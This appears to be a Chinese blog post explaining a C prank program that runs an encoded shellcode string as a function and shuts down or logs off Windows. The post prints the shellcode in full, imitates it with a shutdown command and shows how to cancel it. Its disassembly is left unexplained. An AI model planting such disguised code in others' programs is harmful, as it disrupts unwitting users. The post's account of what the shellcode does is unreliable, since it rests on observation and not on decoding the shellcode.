今天在在C站看到一篇文章,「一个神奇的C代码(你知道什么原理吗?)」。
文章中给出一段代码,然后在main函数中直接 return 了,初看好像没啥毛病。结果运行后电脑注销关机了。emmmmmm,这是什么操作(っ °Д °;)っ
代码如下:
#pragma GCC optimize 0
#pragma comment(linker,"/section:.data,rwe")
char str[]= "PYVTX10X41PZ41H4A4I1TA71TADVTZ32PZNBFZDQC02DQD0D13DJE5I16OK4C162K5D16695J1TMN3P1"
"W0P5J0D7N7Z9L9K2I1W5B1M439LLM060L0R691Z414K2Z0M8O5H3Y8M3V604N13KK3L6O0R5JKO0A9Y5"
"B7O6P0N9S3Y0B1H5K100N2Z9R3A0F61075H114S1A9PMK4L5D6P1DML0L7M0F325G0H00MLKN0P7ZMN3"
"H8M0N0G0T060G2OMNJM1I3Z0K1M065A0Q3T2Z7N5KML2E0P3P3B2D8L02OK1W2C0I0U0S0O8L667M0QK"
"K660Y2H1C1U1S3X9W2B043J67JL9Q2IKL2CMN0J5O4S8K18620S0Y64MO2C0S2D1B050Y021W8M0A1S2"
"L5G1T640Q7K5DON3H4H3X355BMMKKMM0L2IKO09KN1W7M2G607K0S1W602M2A2A2M1S0R2Z0W047N2E0"
"T097O0A0D050U1U161F02";
int main()
{
return ((int(*)(void))&str)();
}
效果演示:
cmd窗口输入 shutdown -a 取消注销
下面我们来尝试分析一下这个程序。
1. 分析程序
先从程序入口main函数开始分析,main函数内部只有一条语句,而关键就在于语句中 (int(*)(void)
这个强转操作上。
从语法上分析,return ((int(*)(void)) &str )(); 红色部分是一个函数指针,而在强转结束后的绿色的括号实际上是调用了这个函数。
该程序已运行就注销计算机,且整个程序就这么一条语句,那么答案就显而易见了,这行语句就是导致我计算机注销的关键所在。
按照之前分析的,该语句将 str 的首地址强转为一个函数指针,那我们先从str的首地址着手。
将原来的语句注释,输出 &str 的地址看一下,得到 000AB000 地址。
通过VS内存工具也可以看到地址000AB000处确实保存的是str中的字符串。
而函数指针的作用时,指向一个函数的首地址,这样就可以通过函数指针间接调用函数了。
而上述代码中将 str 的首地址使用强转的方式重新解释为一个函数地址究竟有什么意图呢,别着急继续往下看就明白了。
2. 分析函数指针的调用。
函数指针间接调用了函数,那我们就先从函数的调用原理分析。
首先,通过调用func函数(自己编写一个fun()函数),分析函数调用原理。
在反汇编中我们可以看到,函数调用是用了一个指令 call 08D13C5h
。 其实就是 跳转到内存中 08D13C5h 的位置,然后从给位置继续向下执行 。也就是我们常说的跳转到某某函数中。
同样的道理,函数指针执行的步骤也是一样的,因为函数指针中实际上就是保存的函数的入口地址,zui 还是调用了 call 指令跳转到函数中。 因此 ((int(*)(void))&str)();
该语句调用时,实际上是跳转到000AB000 地址,然后继续向下执行。那么分析 str 中字符串的含义就是下一步我们要做的任务了。
3. 分析机器码
很明显,内存000AB000位置应该是一个函数的入口地址,而后面的数据应该是函数内的执行语句。只不过这个程序的作者将函数内的指令翻译成了16进制数字的机器码,以至于我们不能从表面上获悉该函数的功能。
要知道计算机世界中,一切都是有01构成的,而机器码在指令层面可以解析成为汇编指令,从另一个角度(字符的ascii映射表)也可以解析为一串字符串没错,就是代码开头保存在str中的那串字符串。
那么现在我们只需获得最原始的机器码,并将机器码转换成汇编指令即可知道原函数的功能。
首先,我们需要分析str保存的字符串,这些字符串中每个字符的ascii码都对应着汇编语言中的汇编指令。而我们需要得到 str 中所有字符对应的ascii码,然后将其转化为汇编代码。
以之前提取到的数据的前二行为例:
0x008DB000 50 59 56 54 PYVT
0x008DB004 58 31 30 58 X10X
0x008DB008 34 31 50 5a 41PZ
0x008DB00C 34 31 48 34 41H4
第一行:50 59 56 54 翻译成汇编代码为:
第二行:58 31 30 58
按照上述方法可以将机器码翻译成汇编代码。
下面我们将所有的机器码填写到 code 文本文件中,将所有机器码全部转为汇编代码。首先需要从str中提取所有机器码(字符串的ascii码),这里提供两种方法:
1.从vs内存查看工具中拷贝出数据
2.写一个函数将机器码输出到屏幕或文件(代码在文章末尾处)
在获得全部机器码后,将其存入 code 文本文件中,然后执行 decodecode 脚本。
可以看到成功提取出了汇编代码。(全部汇编代码在文章末尾)
而要搞清楚这段代码究竟做了什么事情,我们还得继续向后分析这段汇编代码。但是由于博主汇编功底不是很强,就不解析这段汇编代码丢人现眼了。
不过我们可以再次从这个函数的功能分析,从功能上看是一个很简单的小程序,而通过上述分析我们已经知道了字符串能让电脑关机的原理,那么我们可以尝试着复现以下这个程序的C语言代码。
4. 再次分析程序
其实从第一步我们已经分析出了该程序的目的。即,让计算注销关机。
那么,从程序的功能的角度出发,它应该是执行了一句windows注销相关的命令或者调用了Windows的某个api函数。而让计算注销的windows 命令为 shutdown -s -t
// -s关闭计算机,-t延迟时间
如果该程序是执行了一个Windows命令,那么要实现这样一个函数其实很简单,再结合原程序代码中的指针函数类型为 int(*)(void),可以推断出该函数大致为这样:
// 模拟关机程序
int func(){
return system("shutdown -s -t 100");
}
而原本的程序经过翻译后其实是这样:
int main()
{
return func();
}
执行程序后的效果是这样的:
而取消注销的命令也很简单,Win-R 打开运行,输入cmd回车打开cmd窗口。
在cmd窗口输入 shutdown -a 即可取消注销。
如果你想尝试一下该程序的话,请记住取消注销的命令 shutdown -a, 同时确保你的手速能够及时打开cmd窗口输入该命令。 当然你还有第二种选择,把该命令写成一个windows脚本,这样你用鼠标双击就可以执行。
5. Windows取消注销脚本
取消注销:Win-R 打开运行,输入cmd回车打开cmd窗口。
在cmd窗口输入 shutdown -a 即可取消注销。
编写为 bat 脚本,鼠标点击即可执行。
新建文本
编写脚本
@echo off
shutdown -a
将文件后缀改为 .bat
附:全部代码
#include <cstdio>
#include <cstring>
#include <cstdlib> //system
#pragma warning(disable:4996)
#pragma GCC optimize 0
#pragma comment(linker,"/section:.data,rwe")
char str[] = "PYVTX10X41PZ41H4A4I1TA71TADVTZ32PZNBFZDQC02DQD0D13DJE5I16OK4C162K5D16695J1TMN3P1"
"W0P5J0D7N7Z9L9K2I1W5B1M439LLM060L0R691Z414K2Z0M8O5H3Y8M3V604N13KK3L6O0R5JKO0A9Y5"
"B7O6P0N9S3Y0B1H5K100N2Z9R3A0F61075H114S1A9PMK4L5D6P1DML0L7M0F325G0H00MLKN0P7ZMN3"
"H8M0N0G0T060G2OMNJM1I3Z0K1M065A0Q3T2Z7N5KML2E0P3P3B2D8L02OK1W2C0I0U0S0O8L667M0QK"
"K660Y2H1C1U1S3X9W2B043J67JL9Q2IKL2CMN0J5O4S8K18620S0Y64MO2C0S2D1B050Y021W8M0A1S2"
"L5G1T640Q7K5DON3H4H3X355BMMKKMM0L2IKO09KN1W7M2G607K0S1W602M2A2A2M1S0R2Z0W047N2E0"
"T097O0A0D050U1U161F02";
// 获得机器码
void get_code()
{
FILE* fp; // 打开文件
fp = fopen(".//code.txt", "w+");
int n = strlen(str);
for (int i = 0; i < n; ++i) {
// 写入文件
//fprintf(fp, "%#x, ", str[i]);
fprintf(fp, "%x ", str[i]);
}
printf("get code ok!\n");
fclose(fp);
}
// 模拟关机程序
int func(){
return system("shutdown -s -t 100");
}
int main()
{
// get_code();
return func();
}
原程序str字符串得到的汇编代码:
Code starting with the faulting instruction
===========================================
0: 50 push %rax
1: 59 pop %rcx
2: 56 push %rsi
3: 54 push %rsp
4: 58 pop %rax
5: 31 30 xor %esi,(%rax)
7: 58 pop %rax
8: 34 31 xor $0x31,%al
a: 50 push %rax
b: 5a pop %rdx
c: 34 31 xor $0x31,%al
e: 48 34 41 rex.W xor $0x41,%al
11: 34 49 xor $0x49,%al
13: 31 54 41 37 xor %edx,0x37(%rcx,%rax,2)
17: 31 54 41 44 xor %edx,0x44(%rcx,%rax,2)
1b: 56 push %rsi
1c: 54 push %rsp
1d: 5a pop %rdx
1e: 33 32 xor (%rdx),%esi
20: 50 push %rax
21: 5a pop %rdx
22: 4e rex.WRX
23: 42 rex.X
24: 46 5a rex.RX pop %rdx
26: 44 51 rex.R push %rcx
28: 43 30 32 rex.XB xor %sil,(%r10)
2b: 44 51 rex.R push %rcx
2d: 44 30 44 31 33 xor %r8b,0x33(%rcx,%rsi,1)
32: 44 rex.R
33: 4a rex.WX
34: 45 35 49 31 36 4f rex.RB xor $0x4f363149,%eax
3a: 4b 34 43 rex.WXB xor $0x43,%al
3d: 31 36 xor %esi,(%rsi)
3f: 32 4b 35 xor 0x35(%rbx),%cl
42: 44 31 36 xor %r14d,(%rsi)
45: 36 39 35 4a 31 54 4d cmp %esi,%ss:0x4d54314a(%rip) # 0x4d543196
4c: 4e 33 50 31 rex.WRX xor 0x31(%rax),%r10
50: 57 push %rdi
51: 30 50 35 xor %dl,0x35(%rax)
54: 4a 30 44 37 4e rex.WX xor %al,0x4e(%rdi,%r14,1)
59: 37 (bad)
5a: 5a pop %rdx
5b: 39 4c 39 4b cmp %ecx,0x4b(%rcx,%rdi,1)
5f: 32 49 31 xor 0x31(%rcx),%cl
62: 57 push %rdi
63: 35 42 31 4d 34 xor $0x344d3142,%eax
68: 33 39 xor (%rcx),%edi
6a: 4c rex.WR
6b: 4c rex.WR
6c: 4d 30 36 rex.WRB xor %r14b,(%r14)
6f: 30 4c 30 52 xor %cl,0x52(%rax,%rsi,1)
73: 36 39 31 cmp %esi,%ss:(%rcx)
76: 5a pop %rdx
77: 34 31 xor $0x31,%al
79: 34 4b xor $0x4b,%al
7b: 32 5a 30 xor 0x30(%rdx),%bl
7e: 4d 38 4f 35 rex.WRB cmp %r9b,0x35(%r15)
82: 48 33 59 38 xor 0x38(%rcx),%rbx
86: 4d 33 56 36 xor 0x36(%r14),%r10
8a: 30 34 4e xor %dh,(%rsi,%rcx,2)
8d: 31 33 xor %esi,(%rbx)
8f: 4b rex.WXB
90: 4b 33 4c 36 4f xor 0x4f(%r14,%r14,1),%rcx
95: 30 52 35 xor %dl,0x35(%rdx)
98: 4a rex.WX
99: 4b rex.WXB
9a: 4f 30 41 39 rex.WRXB xor %r8b,0x39(%r9)
9e: 59 pop %rcx
9f: 35 42 37 4f 36 xor $0x364f3742,%eax
a4: 50 push %rax
a5: 30 4e 39 xor %cl,0x39(%rsi)
a8: 53 push %rbx
a9: 33 59 30 xor 0x30(%rcx),%ebx
ac: 42 31 48 35 rex.X xor %ecx,0x35(%rax)
b0: 4b 31 30 rex.WXB xor %rsi,(%r8)
b3: 30 4e 32 xor %cl,0x32(%rsi)
b6: 5a pop %rdx
b7: 39 52 33 cmp %edx,0x33(%rdx)
ba: 41 30 46 36 xor %al,0x36(%r14)
be: 31 30 xor %esi,(%rax)
c0: 37 (bad)
c1: 35 48 31 31 34 xor $0x34313148,%eax
c6: 53 push %rbx
c7: 31 41 39 xor %eax,0x39(%rcx)
ca: 50 push %rax
cb: 4d rex.WRB
cc: 4b 34 4c rex.WXB xor $0x4c,%al
cf: 35 44 36 50 31 xor $0x31503644,%eax
d4: 44 rex.R
d5: 4d rex.WRB
d6: 4c 30 4c 37 4d rex.WR xor %r9b,0x4d(%rdi,%rsi,1)
db: 30 46 33 xor %al,0x33(%rsi)
de: 32 35 47 30 48 30 xor 0x30483047(%rip),%dh # 0x3048312b
e4: 30 4d 4c xor %cl,0x4c(%rbp)
e7: 4b rex.WXB
e8: 4e 30 50 37 rex.WRX xor %r10b,0x37(%rax)
ec: 5a pop %rdx
ed: 4d rex.WRB
ee: 4e 33 48 38 rex.WRX xor 0x38(%rax),%r9
f2: 4d 30 4e 30 rex.WRB xor %r9b,0x30(%r14)
f6: 47 30 54 30 36 xor %r10b,0x36(%r8,%r14,1)
fb: 30 47 32 xor %al,0x32(%rdi)
fe: 4f rex.WRXB
ff: 4d rex.WRB
100: 4e rex.WRX
101: 4a rex.WX
102: 4d 31 49 33 xor %r9,0x33(%r9)
106: 5a pop %rdx
107: 30 4b 31 xor %cl,0x31(%rbx)
10a: 4d 30 36 rex.WRB xor %r14b,(%r14)
10d: 35 41 30 51 33 xor $0x33513041,%eax
112: 54 push %rsp
113: 32 5a 37 xor 0x37(%rdx),%bl
116: 4e 35 4b 4d 4c 32 rex.WRX xor $0x324c4d4b,%rax
11c: 45 30 50 33 xor %r10b,0x33(%r8)
120: 50 push %rax
121: 33 42 32 xor 0x32(%rdx),%eax
124: 44 38 4c 30 32 cmp %r9b,0x32(%rax,%rsi,1)
129: 4f rex.WRXB
12a: 4b 31 57 32 rex.WXB xor %rdx,0x32(%r15)
12e: 43 30 49 30 rex.XB xor %cl,0x30(%r9)
132: 55 push %rbp
133: 30 53 30 xor %dl,0x30(%rbx)
136: 4f 38 4c 36 36 rex.WRXB cmp %r9b,0x36(%r14,%r14,1)
13b: 37 (bad)
13c: 4d 30 51 4b rex.WRB xor %r10b,0x4b(%r9)
140: 4b rex.WXB
141: 36 36 30 59 32 ss xor %bl,%ss:0x32(%rcx)
146: 48 31 43 31 xor %rax,0x31(%rbx)
14a: 55 push %rbp
14b: 31 53 33 xor %edx,0x33(%rbx)
14e: 58 pop %rax
14f: 39 57 32 cmp %edx,0x32(%rdi)
152: 42 30 34 33 xor %sil,(%rbx,%r14,1)
156: 4a rex.WX
157: 36 37 ss (bad)
159: 4a rex.WX
15a: 4c 39 51 32 cmp %r10,0x32(%rcx)
15e: 49 rex.WB
15f: 4b rex.WXB
160: 4c 32 43 4d rex.WR xor 0x4d(%rbx),%r8b
164: 4e 30 4a 35 rex.WRX xor %r9b,0x35(%rdx)
168: 4f 34 53 rex.WRXB xor $0x53,%al
16b: 38 4b 31 cmp %cl,0x31(%rbx)
16e: 38 36 cmp %dh,(%rsi)
170: 32 30 xor (%rax),%dh
172: 53 push %rbx
173: 30 59 36 xor %bl,0x36(%rcx)
176: 34 4d xor $0x4d,%al
178: 4f 32 43 30 rex.WRXB xor 0x30(%r11),%r8b
17c: 53 push %rbx
17d: 32 44 31 42 xor 0x42(%rcx,%rsi,1),%al
181: 30 35 30 59 30 32 xor %dh,0x32305930(%rip) # 0x32305ab7
187: 31 57 38 xor %edx,0x38(%rdi)
18a: 4d 30 41 31 rex.WRB xor %r8b,0x31(%r9)
18e: 53 push %rbx
18f: 32 4c 35 47 xor 0x47(%rbp,%rsi,1),%cl
193: 31 54 36 34 xor %edx,0x34(%rsi,%rsi,1)
197: 30 51 37 xor %dl,0x37(%rcx)
19a: 4b 35 44 4f 4e 33 rex.WXB xor $0x334e4f44,%rax
1a0: 48 34 48 rex.W xor $0x48,%al
1a3: 33 58 33 xor 0x33(%rax),%ebx
1a6: 35 35 42 4d 4d xor $0x4d4d4235,%eax
1ab: 4b rex.WXB
1ac: 4b rex.WXB
1ad: 4d rex.WRB
1ae: 4d 30 4c 32 49 rex.WRB xor %r9b,0x49(%r10,%rsi,1)
1b3: 4b rex.WXB
1b4: 4f 30 39 rex.WRXB xor %r15b,(%r9)
1b7: 4b rex.WXB
1b8: 4e 31 57 37 rex.WRX xor %r10,0x37(%rdi)
1bc: 4d 32 47 36 rex.WRB xor 0x36(%r15),%r8b
1c0: 30 37 xor %dh,(%rdi)
1c2: 4b 30 53 31 rex.WXB xor %dl,0x31(%r11)
1c6: 57 push %rdi
1c7: 36 30 32 xor %dh,%ss:(%rdx)
1ca: 4d 32 41 32 rex.WRB xor 0x32(%r9),%r8b
1ce: 41 32 4d 31 xor 0x31(%r13),%cl
1d2: 53 push %rbx
1d3: 30 52 32 xor %dl,0x32(%rdx)
1d6: 5a pop %rdx
1d7: 30 57 30 xor %dl,0x30(%rdi)
1da: 34 37 xor $0x37,%al
1dc: 4e 32 45 30 rex.WRX xor 0x30(%rbp),%r8b
1e0: 54 push %rsp
1e1: 30 39 xor %bh,(%rcx)
1e3: 37 (bad)
1e4: 4f 30 41 30 rex.WRXB xor %r8b,0x30(%r9)
1e8: 44 30 35 30 55 31 55 xor %r14b,0x55315530(%rip) # 0x5531571f
1ef: 31 36 xor %esi,(%rsi)
1f1: 31 46 30 xor %eax,0x30(%rsi)
1f4: 32 .byte 0x32